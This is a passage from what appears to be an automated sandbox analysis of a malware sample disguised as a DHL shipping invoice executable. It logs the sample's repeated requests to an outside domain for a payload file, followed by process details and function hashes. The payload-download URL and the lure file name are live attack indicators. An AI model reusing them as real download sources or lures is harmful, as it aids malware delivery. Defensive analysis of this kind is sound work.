Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	50089	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:52 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:52 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:52 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:52 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.6	50090	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:54 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:54 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:54 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:54 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.6	50091	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:56 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:56 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:56 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:56 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.6	50092	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:57 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:58 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:57 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:58 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.6	50093	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:54:59 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:54:59 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:54:59 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:54:59 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	50094	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:55:01 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:55:01 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:55:01 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:55:01 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	50095	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:55:02 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:55:03 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:55:02 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:55:03 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	50096	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:55:19 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:55:19 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:55:19 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:55:19 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	50098	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:55:20 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:55:21 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:55:21 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:55:21 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	50099	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:55:22 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:55:22 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:55:22 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:55:22 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.6	50100	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:55:23 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:55:24 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:55:24 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:55:24 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.6	50101	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:55:25 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:55:25 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:55:25 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:55:25 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.6	50102	103.191.208.122	443	4196	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-17 08:55:26 UTC	76	OUT	GET /inneska/Kjeggzijku.vdf HTTP/1.1 Host: rubberpartsmanufacturers.com
2024-10-17 08:55:27 UTC	157	IN	HTTP/1.1 500 Internal Server Error Date: Thu, 17 Oct 2024 08:55:27 GMT Server: Apache Content-Length: 7309 Connection: close Content-Type: text/html
2024-10-17 08:55:27 UTC	7309	IN	Data Raw: 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 35 30 39 20 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 42 61 6e 64 77 69 64 74 68 20 4c 69 6d 69 74 20 45 78 63 65 65 64 65 64 3c 2f 48 31 3e 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a 20 20 20 20 20 20 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>509 Bandwidth Limit Exceeded</TITLE></HEAD><BODY><H1>Bandwidth Limit Exceeded</H1>

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

System Behavior

Analysis Process: DHL-SHIPPING INVOICE-1&.exePID: 4196, Parent PID: 4004

General

Target ID:	0
Start time:	04:52:18
Start date:	17/10/2024
Path:	C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\DHL-SHIPPING INVOICE-1&.exe"
Imagebase:	0x6b0000
File size:	50'688 bytes
MD5 hash:	8FBBD902161A8EFA056E3DB546EA7946
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Disassembly

Reset < >

Analysis Process: DHL-SHIPPING INVOICE-1&.exePID: 4196, Parent PID: 4004COMMON

Executed Functions

Function 011C0AF8 Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3996501729.00000000011C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3477102f3425cf63effab16f9894bd8d7b8fa79576951e4f56f5b39e5e4e732
Instruction ID: 51b6dc1fb4ba7604000c9e84b5f0a843eb0646ba19c9c243a302f3068dc1a852
Opcode Fuzzy Hash: b3477102f3425cf63effab16f9894bd8d7b8fa79576951e4f56f5b39e5e4e732
Instruction Fuzzy Hash: 5361F134A00209CFDB19DFACC484ADCBBB1AF4D314F158699E415BB3A1C770A945CFA5

Function 011C0AE7 Relevance: .1, Instructions: 103COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3996501729.00000000011C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0357ec7b061291203d06a2eeff925f64a8a263dace39380dd6530a429960a282
Instruction ID: e170cc5ed68df2313b7640da6e9312c7d86616fed8abb4f8624de828bbdc97b3
Opcode Fuzzy Hash: 0357ec7b061291203d06a2eeff925f64a8a263dace39380dd6530a429960a282
Instruction Fuzzy Hash: 9C411534A00249CFCF19DF68C484ADDBBB2AF8D314F15C699E405BB2A5CB709D45CBA5

Function 011C1692 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3996501729.00000000011C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 285bd5e7b966aef7ad86bbb03044ccb17a93a1acc21489563b811fdf3d284929
Instruction ID: 575a0b8d26aba27c0f3b3febfbdab30da176dc0d00a8840e8bec8358bc29b1ac
Opcode Fuzzy Hash: 285bd5e7b966aef7ad86bbb03044ccb17a93a1acc21489563b811fdf3d284929
Instruction Fuzzy Hash: 3131A335B00608EFDF05DF6CD94099EBBF2EF89710B55826AD405AB352DB309D408B61

Function 011C08B9 Relevance: .1, Instructions: 88COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3996501729.00000000011C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 011C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_11c0000_DHL-SHIPPING INVOICE-1&.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 018968dd6a17c7ac13ba0d0b1a54efa9168f8db15ee2fe1ab3638803780b68d6
